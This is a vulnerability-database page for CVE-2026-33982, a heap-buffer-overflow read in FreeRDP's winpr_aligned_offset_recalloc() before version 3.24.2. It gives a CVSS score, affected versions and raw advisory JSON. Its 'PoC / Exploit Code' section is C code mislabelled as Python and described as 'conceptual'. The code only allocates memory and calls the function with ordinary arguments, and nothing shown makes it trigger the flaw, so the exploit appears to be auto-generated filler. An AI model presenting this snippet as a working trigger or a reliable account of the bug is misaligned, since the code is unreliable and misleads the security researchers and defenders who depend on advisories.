Security Vulnerability Report
中文
CVE-2026-33982 CVSS 7.1 HIGH

CVE-2026-33982

Published: 2026-03-30 22:16:19
Last Modified: 2026-04-01 20:04:26

Description

FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to version 3.24.2, there is a heap-buffer-overflow READ vulnerability at 24 bytes before the allocation, in winpr_aligned_offset_recalloc(). This issue has been patched in version 3.24.2.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:freerdp:freerdp:*:*:*:*:*:*:*:* - VULNERABLE
FreeRDP < 3.24.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <winpr/crt.h> #include <stdio.h> /* * Conceptual Proof of Concept for CVE-2026-33982 * Triggering heap-buffer-overflow in winpr_aligned_offset_recalloc */ int main(int argc, char* argv[]) { // Allocate memory with alignment size_t size = 1024; size_t alignment = 16; void* ptr = winpr_aligned_malloc(size, alignment); if (!ptr) { printf("Memory allocation failed.\n"); return -1; } printf("Memory allocated at %p\n", ptr); // Trigger the vulnerability by calling recalloc with specific parameters // This attempts to reallocate and may read 24 bytes before the allocation void* new_ptr = winpr_aligned_offset_recalloc(ptr, size, size * 2, 0); if (new_ptr) { printf("Re-allocation successful.\n"); winpr_aligned_free(new_ptr); } else { printf("Re-allocation failed or triggered vulnerability.\n"); winpr_aligned_free(ptr); } return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33982", "sourceIdentifier": "[email protected]", "published": "2026-03-30T22:16:19.260", "lastModified": "2026-04-01T20:04:25.793", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to version 3.24.2, there is a heap-buffer-overflow READ vulnerability at 24 bytes before the allocation, in winpr_aligned_offset_recalloc(). This issue has been patched in version 3.24.2."}, {"lang": "es", "value": "FreeRDP es una implementación gratuita del Protocolo de Escritorio Remoto. Antes de la versión 3.24.2, existe una vulnerabilidad de lectura por desbordamiento de búfer de pila (heap-buffer-overflow READ) a 24 bytes antes de la asignación, en winpr_aligned_offset_recalloc(). Este problema ha sido parcheado en la versión 3.24.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:freerdp:freerdp:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.24.2", "matchCriteriaId": "03FF152C-C651-4586-8958-1555D9797516"}]}]}], "references": [{"url": "https://github.com/FreeRDP/FreeRDP/commit/a48dbde2c8a5b8b70a9d1c045d969a71afd6284c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-8jm9-2925-g4v2", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory", "Mitigation"]}]}}